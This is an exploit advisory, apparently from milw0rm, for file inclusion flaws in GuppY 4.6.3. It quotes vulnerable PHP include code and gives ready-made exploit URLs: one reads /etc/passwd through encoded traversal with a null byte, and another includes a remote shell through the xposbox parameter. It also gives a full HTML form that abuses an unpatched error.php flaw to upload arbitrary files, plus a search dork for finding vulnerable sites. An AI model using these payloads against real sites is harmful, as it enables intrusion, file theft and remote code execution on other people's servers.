GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion Vulnerability

                                                vuln.: GuppY 4.6.3 (includes.inc selskin) Remote File Inclusion
  script info and download: http://www.freeguppy.org/
  dork: "Site powered by GuppY" 
 
  author: irk4z[at]yahoo.pl
  greets to: str0ke, rgod, polish under :*
'-----------------------------------------------------------------------------' 
 
# code:

   /tinymsg.php, line 24:
   ...
24    define("CHEMIN", "");
   ...   
   
   /inc/includes.inc, lines 155-168:
   ...
155   if (isset($selskin)) {
156     $page[14]=$selskin;
157   }
158
159   if (is_file(CHEMIN."skin/".$page[14]."/skin".INCEXT)) {
160    include(CHEMIN."skin/".$page[14]."/skin".INCEXT);
161   } else {
162    include(CHEMIN."skin/no_skin/skin".INCEXT);
163   }
164   if (is_file(CHEMIN."skin/".$page[14]."/confskin".INCEXT)) {
165    include(CHEMIN."skin/".$page[14]."/confskin".INCEXT);
166   } else {
167    include(CHEMIN."skin/no_skin/confskin".INCEXT);
168   }
   ...
   
   Local file inclusion on line 160 in $selskin, and I have used code
   from:
   
   /inc/boxleft.inc, lines 98-102:
   
   ...
98    for($ii=0; $ii<count($xposbox["L"]); $ii++) {
99      if ($userprefs[3] != "R" && $xposbox["L"][$ii] != '') {
100      include(CHEMIN.$xposbox["L"][$ii].INCEXT);
101      $onemenu = 1;
102   }
   ...
   
   so.. i have remote file inclusion :D
   
# exploits:

 local file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=[LFI]%00
   http://[HOST]/[PATH]/index.php?selskin=..%2F..%2F..%2F..%2F.%2Fetc%2Fpasswd%00
   
 remote file inclusion:
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=[RFI]
   http://[HOST]/[PATH]/index.php?selskin=..%2Finc%2Fboxleft.inc%00&xposbox[L][]=http:%2F%2Fhost%2Fshell?
   
   ^ xposbox[L][] and selskin must be encode because GuppY filtering query..   

# another bug: 

rgod on 2007-01-29 published local file inclusion in error.php $id variable,
but GuppY authors didn't patch it  :(  so you can upload file to

 http://[HOST]/[PATH]/file/[your uploaded file]


<form name="uploadit" enctype="multipart/form-data" method="post" action="http://[HOST]/[PATH]/error.php?">
<input type="hidden" name="id" value="../../admin/inc/upload" alt="don't change! ;]" />
<input type="hidden" name="pg" value="upload" />
<input type="hidden" name="rep" value="file" />
<input type="file"   name="ficup" size="36" />
<input type="hidden" name="OK" value="1" />
<input type="submit" value=" ok " />
</form>

# milw0rm.com [2007-11-03]